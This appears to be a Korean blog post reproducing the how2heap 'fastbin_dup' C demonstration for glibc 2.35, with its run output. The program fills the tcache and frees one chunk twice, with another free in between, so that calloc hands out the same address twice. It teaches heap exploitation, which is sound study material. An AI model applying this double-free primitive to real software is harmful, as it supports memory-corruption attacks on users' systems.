https://github.com/shellphish/how2heap/blob/master/glibc_2.35/fastbin_dup.c
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("이 파일은 fastbins를 사용한 간단한 double-free 공격을 보여줍니다.\n");
printf("먼저 tcache를 채웁니다.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
printf("버퍼 3개를 할당합니다.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("첫 번째 calloc(1, 8): %p\n", a);
printf("두 번째 calloc(1, 8): %p\n", b);
printf("세 번째 calloc(1, 8): %p\n", c);
printf("첫 번째 것을 해제합니다...\n");
free(a);
printf("%p를 다시 해제하면, %p가 free list의 맨 위에 있기 때문에 문제가 발생합니다.\n", a, a);
// free(a);
printf("대신 %p를 해제합니다.\n", b);
free(b);
printf("free list의 맨 위가 아니기 때문에 이제 %p를 다시 해제할 수 있습니다. .\n", a);
free(a);
printf("이제 free list는 [ %p, %p, %p ]입니다. 3번 malloc하면 %p를 두 번 받게 됩니다!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("첫 번째 calloc(1, 8): %p\n", a);
printf("두 번째 calloc(1, 8): %p\n", b);
printf("세 번째 calloc(1, 8): %p\n", c);
assert(a == c);
}
이 파일은 fastbins를 사용한 간단한 double-free 공격을 보여줍니다.
먼저 tcache를 채웁니다.
버퍼 3개를 할당합니다.
첫 번째 calloc(1, 8): 0x55db240313a0
두 번째 calloc(1, 8): 0x55db240313c0
세 번째 calloc(1, 8): 0x55db240313e0
첫 번째 것을 해제합니다...
0x55db240313a0를 다시 해제하면, 0x55db240313a0가 free list의 맨 위에 있기 때문에 문제가 발생합니다.
대신 0x55db240313c0를 해제합니다.
free list의 맨 위가 아니기 때문에 이제 0x55db240313a0를 다시 해제할 수 있습니다. .
이제 free list는 [ 0x55db240313a0, 0x55db240313c0, 0x55db240313a0 ]입니다. 3번 malloc하면 0x55db240313a0를 두 번 받게 됩니다!
첫 번째 calloc(1, 8): 0x55db240313a0
두 번째 calloc(1, 8): 0x55db240313c0
세 번째 calloc(1, 8): 0x55db240313a0
'background > linux' 카테고리의 다른 글
[how2heap] House of Botcake (glibc 2.31) (0) | 2024.03.18 |
---|---|
[how2heap] Fastbin dup into stack (glibc 2.35) (1) | 2024.03.11 |
stack pivoting (0) | 2023.07.06 |
[how2heap] House of Lore (glibc 2.35) (0) | 2023.07.03 |
[how2heap] Tcache House of Spirit (glibc 2.35) (0) | 2023.05.23 |